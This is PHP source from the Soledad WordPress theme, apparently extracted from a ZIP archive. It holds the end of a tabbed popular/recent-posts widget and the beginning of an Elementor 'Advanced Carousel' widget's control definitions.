		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	public function show_tabs_posts( $instance, $type, $first = false ) {
		$sticky        = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
		$sticky_value  = ( false == $sticky ) ? 0 : 1;
		$popular_order = isset( $instance['popular_order'] ) ? $instance['popular_order'] : 'all';
		$number        = isset( $instance['number'] ) ? $instance['number'] : '5';
		$offset        = isset( $instance['offset'] ) ? $instance['offset'] : '';
		$title_length  = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
		$featured      = isset( $instance['featured'] ) ? $instance['featured'] : false;
		$dotstyle      = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
		$movemeta      = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
		$twocolumn     = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
		$featured2     = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
		$ordernum      = isset( $instance['ordernum'] ) ? $instance['ordernum'] : false;
		$allfeatured   = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
		$thumbright    = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
		$postdate      = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
		$icon          = isset( $instance['icon'] ) ? $instance['icon'] : false;
		$hide_thumb    = isset( $instance['hide_thumb'] ) ? $instance['hide_thumb'] : false;
		$showauthor    = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
		$showcomment   = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
		$showviews     = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
		$showborder    = isset( $instance['showborder'] ) ? $instance['showborder'] : false;
		$thumb_size    = isset( $instance['thumb_size'] ) ? $instance['thumb_size'] : 'penci-thumb-small';
		$fthumb_size   = isset( $instance['fthumb_size'] ) ? $instance['fthumb_size'] : 'penci-masonry-thumb';
		$query         = array(
			'meta_key'            => penci_get_postviews_key(),
			'orderby'             => 'meta_value_num',
			'order'               => 'DESC',
			'posts_per_page'      => $number,
			'post_type'           => 'post',
			'ignore_sticky_posts' => $sticky_value
		);

		if ( $popular_order == 'week' ) {
			$query = array(
				'posts_per_page' => $number,
				'meta_key'       => 'penci_post_week_views_count',
				'orderby'        => 'meta_value_num',
				'order'          => 'DESC',
			);
		} elseif ( $popular_order == 'month' ) {
			$query = array(
				'posts_per_page' => $number,
				'meta_key'       => 'penci_post_month_views_count',
				'orderby'        => 'meta_value_num',
				'order'          => 'DESC',
			);
		} elseif ( $popular_order == 'jetpack' ) {
			$query = array(
				'posts_per_page' => $number,
				'meta_key'       => '_jetpack_post_view',
				'orderby'        => 'meta_value_num',
				'order'          => 'DESC',
			);
		}
		if ( $offset ) {
			$query['offset'] = $offset;
		}

		if ( $type == 'recent' ) {
			$query    = array(
				'order'               => 'DESC',
				'posts_per_page'      => $number,
				'post_type'           => 'post',
				'ignore_sticky_posts' => $sticky_value
			);
			$ordernum = isset( $instance['ordernum_recent'] ) ? $instance['ordernum_recent'] : true;
		}

		$loop  = new \WP_Query( $query );
		$class = $first ? 'active' : 'inactive';
		?>

        <div class="tab-content-wrapper tab-<?php echo esc_attr( $type . ' ' . $class ); ?>">
            <ul data-settings='<?php echo json_encode( $instance ); ?>'
                data-paged="1"
                data-type="<?php echo esc_attr( $type ); ?>"
                data-action="penci_posts_tabs_widget_ajax"
                data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>"
                data-max="<?php echo esc_attr( $loop->max_num_pages ); ?>"
                class="penci-wdtab-ct side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
				    if ( $featured ) {
					    echo ' penci-2columns-featured';
				    } else {
					    echo ' penci-2columns-feed';
				    } endif; ?><?php if ( ! $ordernum ): echo ' display-order-numbers'; endif;
			    if ( $dotstyle ) {
				    echo ' pctlst pctl-' . $dotstyle;
			    }
			    if ( $showborder ) {
				    echo ' penci-rcpw-hborders';
			    } ?>">

				<?php $num = 1;
				while ( $loop->have_posts() ) : $loop->the_post(); ?>

                    <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
						if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
						<?php if ( ! $ordernum && has_post_thumbnail() && ! $hide_thumb ): ?>
                            <span class="order-border-number<?php if ( $thumbright && ! $twocolumn ): echo ' right-side'; endif; ?>">
									<span class="number-post"><?php echo sanitize_text_field( $num ); ?></span>
								</span>
						<?php endif; ?>
                        <div class="side-item">
							<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) && ! $hide_thumb ) : ?>
                                <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
									<?php
									$size_pie = 'small';
									if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
									do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
									/* Display Review Piechart  */
									if ( function_exists( 'penci_display_piechart_review_html' ) ) {
										penci_display_piechart_review_html( get_the_ID(), $size_pie );
									}
									$thumb = $thumb_size;
									if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = $fthumb_size; endif;
									?>

                                    <a <?php echo penci_layout_bg( penci_get_image_size_url( penci_image_srcset( get_the_ID(), $thumb ) ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
										echo '';
									} else {
										echo ' small-fix-size';
									} ?>" rel="bookmark"
                                       href="<?php the_permalink(); ?>"
                                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
										<?php echo penci_layout_img( penci_get_image_size_url( penci_image_srcset( get_the_ID(), $thumb ) ), get_the_title() ); ?>
                                    </a>


									<?php if ( $icon ): ?>
										<?php if ( has_post_format( 'video' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'audio' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'link' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'quote' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'gallery' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
										<?php endif; ?>
									<?php endif; ?>
                                </div>
							<?php endif; ?>
                            <div class="side-item-text">
								<?php if ( $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                    <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
										<?php if ( $showauthor ): ?>
                                            <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        class="url fn n"
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $postdate ): ?>
                                            <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( $showcomment ): ?>
                                            <span class="side-item-meta side-wcomments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php if ( $showviews ): ?>
                                            <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>

                                <h4 class="side-title-post">
                                    <a href="<?php the_permalink() ?>" rel="bookmark"
                                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
										<?php
										if ( ! $title_length || ! is_numeric( $title_length ) ) {
											if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
												echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
											} else {
												the_title();
											}
										} else {
											echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
										}
										?>
                                    </a>
                                </h4>
								<?php if ( ! $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                    <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
										<?php if ( $showauthor ): ?>
                                            <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        class="url fn n"
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $postdate ): ?>
                                            <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( $showcomment ): ?>
                                            <span class="side-item-meta side-wcomments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php if ( $showviews ): ?>
                                            <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </li>

					<?php $num ++; endwhile; ?>

            </ul>
			<?php
			if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'btn' ) {
				?>
                <div class="penci-pagination penci-ajax-more pcwg-lposts">
                    <a class="penci-ajax-more-button pc-tabsajax-btn penci-wgajx-btn"
                       href="#" aria-label="More Posts">
                        <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                class="ajaxdot"></span><i
                                class="penci-faicon fa fa-refresh"></i> </a>
                </div>
				<?php
			} else if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'nav' ) { ?>
                <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                    <span class="pcajx-btn penci-wgajx-btn pc-tabsajax-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                    <span class="pcajx-btn penci-wgajx-btn pc-tabsajax-btn next"><?php echo '<span class="pcnav-title">' . penci_get_setting( 'penci_trans_next' ) . '</span>' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                </div>
				<?php
			}
			if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] ) {
				?>
                <div class="pcwgajx-ld-wrapper">
					<?php echo penci_get_html_animation_loading( 'df' ); ?>
                </div>
				<?php
			}
			?>
        </div>

		<?php
	}

}
PK     1w\Վ*]%  %  1  elementor/modules/penci-media-carousel/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciMediaCarousel;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-media-carousel';
	}

	public function get_widgets() {
		return array( 'PenciMediaCarousel' );
	}
}
PK     1w\CԳԼ  Լ  G  elementor/modules/penci-media-carousel/widgets/penci-media-carousel.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciMediaCarousel\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use Elementor\Utils;
use PenciSoledadElementor\Base\Base_Widget;

//use Elementor\Group_Control_Box_Shadow;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciMediaCarousel extends Base_Widget {

	public function get_name() {
		return 'penci-media-carousel';
	}

	public function get_script_depends() {
		return array( 'imagesloaded' );
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Advanced Carousel', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-media-carousel';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'media', 'carousel', 'image', 'video', 'lightbox' );
	}

	protected function register_controls() {


		$this->start_controls_section(
			'section_slider_options',
			array(
				'label' => __( 'General', 'soledad' ),
				'type'  => Controls_Manager::SECTION,
			)
		);

		$this->add_control(
			'contentpos', array(
				'label'   => __( 'Slider Content Position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'below',
				'options' => array(
					'below' => esc_html__( 'Below Image', 'soledad' ),
					'above' => esc_html__( 'Above Image', 'soledad' ),
					'on'    => esc_html__( 'On Image', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'overlap_imgurl', array(
				'label'     => __( 'Image link overlap on the whole slide?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'selectors' => array(
					'{{WRAPPER}} .pc-ctpos-on .penci-media-content > a' => 'z-index: 5;',
				),
				'condition' => array( 'contentpos' => 'on' )
			)
		);

		$this->add_responsive_control(
			'slides_item_gap', array(
				'label'     => __( 'Gap Between Items', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array(
					'{{WRAPPER}} .penci-advanced-carousel-mg'                  => 'margin-left: calc( {{SIZE}}px * -1 / 2 ); margin-right: calc( {{SIZE}}px * -1 / 2 );',
					'{{WRAPPER}} .penci-media-inner'                           => 'padding-left: calc( {{SIZE}}px / 2 ); padding-right: calc( {{SIZE}}px / 2 );',
					'{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev' => 'left: calc( 15px + {{SIZE}}px / 2 );',
					'{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next' => 'right: calc( 15px + {{SIZE}}px / 2 );',
				),
			)
		);
		$slides_per_view = range( 1, 10 );
		$slides_per_view = array_combine( $slides_per_view, $slides_per_view );
		$this->add_responsive_control(
			'slides_per_view', array(
				'type'               => Controls_Manager::SELECT,
				'label'              => __( 'Slides Per View', 'soledad' ),
				'options'            => $slides_per_view,
				'frontend_available' => true,
				'default'            => '3',
				'tablet_default'     => '2',
				'mobile_default'     => '1',
			)
		);

		$this->add_responsive_control(
			'img_ratio', array(
				'label'     => __( 'Ratio Height/Width of Images', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0.1, 'max' => 3, 'step' => 0.01 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels .penci-image-holder:before' => 'padding-top:calc( {{SIZE}} * 100% );',
				),
			)
		);

		$this->add_control( 'single_slider_effect', array(
			'label'       => __( 'General Slider Effect', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_single_slider_effect', 'creative' ),
			'options'     => array(
				'slide'     => 'Slide',
				'fade'      => 'Fade',
				'coverflow' => 'Coverflow',
				'flip'      => 'Flip',
				'cards'     => 'Cards',
				'creative'  => 'Creative',
			),
		) );

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control(
			'autoplay', array(
				'label'     => __( 'Autoplay', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'separator' => 'before',
			)
		);
		$this->add_control(
			'loop', array(
				'label'     => __( 'Slider Loop', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'condition' => [ 'carousel_slider_effect' => 'default' ],
			)
		);
		$this->add_control(
			'auto_time', array(
				'label'   => __( 'Slider Auto Time (at x seconds)', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 4000,
			)
		);
		$this->add_control(
			'speed', array(
				'label'   => __( 'Slider Speed (at x seconds)', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 800,
			)
		);
		$this->add_control(
			'shownav', array(
				'label'   => __( 'Show next/prev buttons', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			)
		);
		$this->add_control(
			'showdots', array(
				'label' => __( 'Show dots navigation', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'image_size', array(
				'label'     => __( 'Image size', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'separator' => 'before',
				'options'   => $this->get_list_image_sizes( true ),
			)
		);

		$this->add_control(
			'image_size_mobile', array(
				'label'   => __( 'Image size on Mobile', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => $this->get_list_image_sizes( true ),
			)
		);

		$this->add_control(
			'image_fit', array(
				'label'     => __( 'Image Fit', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''          => __( 'Cover', 'soledad' ),
					'contain'   => __( 'Contain', 'soledad' ),
					'100% auto' => __( 'Width:100% x Height: Auto', 'soledad' ),
					'auto 100%' => __( 'Width:Auto x Height: 100%', 'soledad' ),
				),
				'selectors' => array( '{{WRAPPER}} .penci-media-item .penci-image-holder' => 'background-size: {{VALUE}}' )
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_slides', array(
				'label' => esc_html__( 'Slider Items', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$repeater = new Repeater();

		$repeater->start_controls_tabs( 'carousel_repeater' );
		$repeater->start_controls_tab( 'content', array( 'label' => __( 'Content', 'soledad' ) ) );

		$repeater->add_control(
			'type', array(
				'type'        => Controls_Manager::CHOOSE,
				'label'       => __( 'Type', 'soledad' ),
				'default'     => 'image',
				'options'     => array(
					'image' => array(
						'title' => __( 'Image', 'soledad' ),
						'icon'  => 'eicon-image-bold'
					),
					'video' => array(
						'title' => __( 'Video', 'soledad' ),
						'icon'  => 'eicon-video-camera'
					)
				),
				'label_block' => false,
				'toggle'      => false,
			)
		);

		$repeater->add_control(
			'image', array(
				'label' => __( 'Image', 'soledad' ),
				'type'  => Controls_Manager::MEDIA
			)
		);
		$repeater->add_control(
			'image_link_to_type', array(
				'label'     => __( 'Link', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => array(
					''       => __( 'None', 'soledad' ),
					'file'   => __( 'Media File', 'soledad' ),
					'custom' => __( 'Custom URL', 'soledad' )
				),
				'condition' => array( 'type' => 'image' )
			)
		);

		$repeater->add_control(
			'image_link_to', array(
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
				'condition'   => array(
					'type'               => 'image',
					'image_link_to_type' => 'custom'
				),
				'separator'   => 'none',
				'show_label'  => false
			)
		);

		$repeater->add_control(
			'video', array(
				'label'         => __( 'Video Link', 'soledad' ),
				'type'          => Controls_Manager::URL,
				'placeholder'   => __( 'Enter your video link', 'soledad' ),
				'description'   => __( 'YouTube or Vimeo link', 'soledad' ),
				'show_external' => false,
				'condition'     => array( 'type' => 'video' )
			)
		);

		$repeater->add_control(
			'stitle_text', array(
				'label'       => __( 'Sub Title', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'default'     => '',
				'placeholder' => __( 'Enter your sub title', 'soledad' ),
				'label_block' => true,
				'separator'   => 'before',
			)
		);

		$repeater->add_control(
			'title_text', array(
				'label'       => __( 'Title', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'default'     => __( 'This is the heading', 'soledad' ),
				'placeholder' => __( 'Enter your title', 'soledad' ),
				'label_block' => true,
			)
		);
		$repeater->add_control(
			'description_text', array(
				'label'       => __( 'Description', 'soledad' ),
				'type'        => Controls_Manager::WYSIWYG,
				'default'     => __( 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.', 'soledad' ),
				'placeholder' => __( 'Enter your description', 'soledad' ),
				'separator'   => 'none',
			)
		);

		$repeater->add_control(
			'heading_rmbtn', array(
				'label'     => __( 'Add Read More Button', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$repeater->add_control(
			'treadmore', array(
				'label'   => __( 'Button Text', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => '',
			)
		);

		$repeater->add_control(
			'rmlink', array(
				'label'       => __( 'Button Link', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
			)
		);

		$repeater->add_control(
			'btnadd_icon', array(
				'label'        => __( 'Add Icon to Button?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
			)
		);

		$repeater->add_control(
			'rmicon', array(
				'label'     => __( 'Button Icon', 'soledad' ),
				'type'      => Controls_Manager::ICONS,
				'default'   => [
					'value'   => 'fas fa-star',
					'library' => 'solid',
				],
				'condition' => array( 'btnadd_icon' => 'yes' ),
			)
		);

		$repeater->add_control(
			'icon_pos', array(
				'label'     => __( 'Icon Position', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => array(
					'left'  => 'Before',
					'right' => 'After',
				),
				'default'   => 'left',
				'condition' => array( 'btnadd_icon' => 'yes' ),
			)
		);

		$repeater->add_responsive_control(
			'icon_space', array(
				'label'     => __( 'Icon Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
				'selectors' => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .pc-icpos-left i, {{WRAPPER}} {{CURRENT_ITEM}} .pc-icpos-left svg'   => 'margin-right: {{SIZE}}px;',
					'{{WRAPPER}} {{CURRENT_ITEM}} .pc-icpos-right i, {{WRAPPER}} {{CURRENT_ITEM}} .pc-icpos-right svg' => 'margin-left: {{SIZE}}px;',
				),
				'condition' => array( 'btnadd_icon' => 'yes' ),
			)
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab( 'overlay', array( 'label' => __( 'Overlay', 'soledad' ) ) );

		$repeater->add_control(
			'iheading_overlayimg', array(
				'label' => __( 'Overlay on Image', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$repeater->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'     => 'iimg_overlay',
				'label'    => __( 'Image Overlay Background', 'soledad' ),
				'types'    => array( 'classic', 'gradient' ),
				'selector' => '{{WRAPPER}} {{CURRENT_ITEM}} .pc-adcr-overlay',
			)
		);

		$repeater->add_responsive_control(
			'ioverlay_opacity', array(
				'label'     => __( 'Overlay Opacity', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1, 'step' => 0.05 ) ),
				'selectors' => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .pc-adcr-overlay' => 'opacity: {{SIZE}};'
				)
			)
		);

		$repeater->add_responsive_control(
			'ioverlay_hopacity', array(
				'label'     => __( 'Overlay Opacity on Hover', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1, 'step' => 0.05 ) ),
				'selectors' => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .penci-media-inct:hover .pc-adcr-overlay' => 'opacity: {{SIZE}};'
				)
			)
		);

		$repeater->add_control(
			'iheading_overlayct', array(
				'label' => __( 'Overlay on Content', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$repeater->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'     => 'ict_overlay',
				'label'    => __( 'Content Overlay Background', 'soledad' ),
				'types'    => array( 'classic', 'gradient' ),
				'selector' => '{{WRAPPER}} {{CURRENT_ITEM}} .pc-media-ctinner:before',
			)
		);

		$repeater->add_responsive_control(
			'ictoverlay_opacity', array(
				'label'     => __( 'Overlay Opacity', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1, 'step' => 0.05 ) ),
				'selectors' => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .pc-media-ctinner:before' => 'opacity: {{SIZE}};'
				)
			)
		);

		$repeater->add_responsive_control(
			'ictoverlay_hopacity', array(
				'label'     => __( 'Overlay Opacity on Hover', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1, 'step' => 0.05 ) ),
				'selectors' => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .penci-media-inct:hover .pc-media-ctinner:before' => 'opacity: {{SIZE}};'
				)
			)
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab( 'style', array( 'label' => __( 'Style', 'soledad' ) ) );

		$repeater->add_control(
			'icustom', array(
				'label'       => __( 'Custom', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'description' => __( 'Set custom style that will only affect this item only. To adjust the style for all items, check options on the "Style" tab at the top.', 'soledad' ),
			)
		);

		$repeater->add_responsive_control(
			'itext_align', array(
				'label'     => __( 'Alignment', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'options'   => array(
					'left'   => array(
						'title' => __( 'Left', 'elementor-pro' ),
						'icon'  => 'eicon-text-align-left'
					),
					'center' => array(
						'title' => __( 'Center', 'elementor-pro' ),
						'icon'  => 'eicon-text-align-center'
					),
					'right'  => array(
						'title' => __( 'Right', 'elementor-pro' ),
						'icon'  => 'eicon-text-align-right'
					)
				),
				'condition' => array( 'icustom' => 'yes' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels {{CURRENT_ITEM}} .penci-media-content' => 'text-align: {{VALUE}};'
				)
			)
		);

		$repeater->add_control(
			'icontent_position',
			array(
				'label'                => __( 'Vertical Position', 'soledad' ),
				'type'                 => Controls_Manager::CHOOSE,
				'label_block'          => false,
				'description'          => __( 'This option just applies when you selected content to display on the image.', 'soledad' ),
				'condition'            => array( 'icustom' => 'yes' ),
				'options'              => array(
					'top'    => array(
						'title' => __( 'Top', 'soledad' ),
						'icon'  => 'eicon-v-align-top',
					),
					'middle' => array(
						'title' => __( 'Middle', 'soledad' ),
						'icon'  => 'eicon-v-align-middle',
					),
					'bottom' => array(
						'title' => __( 'Bottom', 'soledad' ),
						'icon'  => 'eicon-v-align-bottom',
					),
				),
				'selectors'            => array(
					'{{WRAPPER}} .pc-ctpos-on {{CURRENT_ITEM}} .penci-media-content' => 'align-items: {{VALUE}}',
				),
				'selectors_dictionary' => array(
					'top'    => 'flex-start',
					'middle' => 'center',
					'bottom' => 'flex-end',
				),
			)
		);

		$repeater->add_control(
			'istitle_color', array(
				'label'     => __( 'Sub Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icustom' => 'yes' ),
				'selectors' => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .penci-media-stit' => 'color: {{VALUE}};'
				)
			)
		);

		$repeater->add_control(
			'ititle_color', array(
				'label'     => __( 'Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icustom' => 'yes' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels {{CURRENT_ITEM}} .penci-media-title' => 'color: {{VALUE}};'
				)
			)
		);

		$repeater->add_control(
			'idescription_color', array(
				'label'     => __( 'Description Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icustom' => 'yes' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels {{CURRENT_ITEM}} .penci-media-desc' => 'color: {{VALUE}};'
				)
			)
		);

		$repeater->add_control(
			'idescription_linkcolor', array(
				'label'     => __( 'Links Color on Description', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icustom' => 'yes' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels {{CURRENT_ITEM}} .penci-media-desc a' => 'color: {{VALUE}};'
				)
			)
		);

		$repeater->add_control(
			'irm_bgcolor',
			array(
				'label'     => __( 'Button Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icustom' => 'yes' ),
				'selectors' => array( '{{WRAPPER}} {{CURRENT_ITEM}} .penci-media-rmbtn a' => 'background-color: {{VALUE}};' ),
			)
		);
		$repeater->add_control(
